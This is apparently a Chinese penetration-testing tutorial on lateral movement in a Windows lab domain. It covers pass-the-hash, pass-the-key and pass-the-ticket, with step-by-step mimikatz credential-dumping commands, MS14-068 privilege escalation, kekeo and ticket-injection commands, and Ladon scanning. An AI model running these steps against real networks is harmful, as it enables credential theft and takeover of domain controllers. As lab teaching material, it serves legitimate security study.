目录
#PTH(Pass the Hash)利用lm或ntlm的值进行的渗透测试
域横向移动PTH传递-mimikatz
#PTK(Pass the Key)利用ekeys AES256进行的渗透测试
#PTT (Pass the Ticket) 利用票据凭证TGT进行的渗透测试
#第一种利用漏洞
#第二种利用工具kekeo
#第三种利用本地票据(需要管理员权限)
#案例4-国产Ladon内网杀器测试验收
PTH在内网渗透中是一种很经典的攻击方式,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或者服务,而不用提供明文密码。
PTH NTLM传递
分为两种情况:一种是为打补丁的工作组及域连接;一种的打了补丁的工作组及域连接
还是先通过webserver上的mimikatz去收集webserrver上的密码,域用户信息等。由于我们测试的是通过PTH传递,所以使用的是LM或者是NTLM,LM之前讲过了03之前的系统使用,2003之后的系统使用的是NTLM,所以我们的重点在NTLM。
上面的第一条是连接域中的用户名为administrator。然而下面的是连接工作组中的用户administrator。
这里通过PTH使用NTLM值ccef...来连接域中的administrator。连接成功的话,就会反弹给我们一个cmd窗口,连接他的c盘。
当然也是可以连接工作组中的用户administrator。
上面介绍的这些用法,连接的用户可以是任意的,但是在打了补丁之后,就只能连接administrator。如果禁用了NTLM认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功的。对于安装kb2871997的win7/2008r2/2012等,可以使用AES keys代替NT hash来实现ptk攻击。
小结:kb2871997补丁之后的影响
PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
PTK:打了补丁才能用户都可以连接,采用AES 256来连接
案例2-域横向移动PTK传递-mimikatz
PTK AES 256传递
打补丁后的工作组以及域连接
sekurlsa::ptk /user:mary /domain:god.org /aes256:AES526的值
那么如何获取AES256的值呢?
之前我们获取NTLM的值,使用的命令为sekurlsa::LogonPasswords。而获取AES256的值使用的命令为sekurlsa::ekeys
PTT攻击的部分就不是简单的NTLM认证了,他是利用Keyberos协议进行攻击的,这里介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据),其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术,MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是KB3011780。
由于PTT是利用Keyberos协议,就先来学习一下,在域中,该协议的具体工作方法:
能实现普通用户直接获取域控system权限
#MS14-068 powershell执行
整个利用过程:
- 查看当前sid whoami/user
- 将当前机器中的所有凭据,通过mimikatz清楚,如果有域成员凭证会影响凭证伪造;kerberos::purge
- kerberos::list //查看当前机器中的凭证
- kerberos::ptc 票据文件 //将票据注入到内存中
- 利用ms14-068生成TGT数据 ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
- 票据注入内存 //mimikatz.exe "kerberos::ptc 生成的TGT数据"
- exit 退出
- 查看凭证列表 klist
- 利用 dir \\192.168.3.21\c$
先查看当前的sid。通过执行命令whoami/user。得到了S-1-5...这个sid。
将当前机器中的所有的凭证全部删除掉,防止其他的域成员会影响凭据伪造。
通过ms14-068生成TGT数据凭证。之后便是通过Kerberos将TGT数据凭证导入当前的机器中。
通过klist来查看当前机器中有哪些凭据,当然也是为了检测我们是否将生成的TGT凭证成功导入。
这里成功显示导入成功,这里要注意的是:这个凭证是有有效期的。我们的连接必须要在这个有效期内才可以。
之后便是通过dir来连接,这里却显示找不到路径。这里需要注意的是:在连接的时候,不可以使用ip地址。
这样才是成功的!
- 生成票据 //kekeo "tgt::ask /user:mary /domain:god.org /ntlm:ntlm值"
- 导入票据 kerberos::ptt [email protected][email protected]
- 查看凭证klist
- 利用net use 载入 dir \\192.168.3.21\c$
首先通过mimikatz收集来的ntlm值,去使用kekeo工具生成票据。
之后便是将生成的票据,导入当前的机器。
个人感觉这个有点点鸡肋了。
sekurlsa::tickets /export //将当前机器中的票据全部导出来
kerberos::ptt xxxxxxxxxxxxx.xxxxx.kirbi
上面就是导出来之后的样子。接下来就是将某一个导入
之后便是连接操作。
总结:ptt传递不需要本地管理员权限,连接时要用主机名去连接,无法使用IP地址连接,主要三种方式,分别是基于漏洞、工具和本地票据。
整个过程:信息收集-协议扫描-漏洞探针-传递攻击等
图形化界面是下面的这样,扫描存活主机:
选择OnlinePC,点击scan。一般我们不会使用图形化界面工具,而是使用命令行。
扫描存活主机的语法:ladon IP地址网段 onlinepc
通过net use \\IP地址 密码 /user:用户名 来连接。还可以使用我们之前学习到的psexec,还有wmi等。
执行成功,查看权限,为system权限。
ipconfig执行回显为192.168.3.21。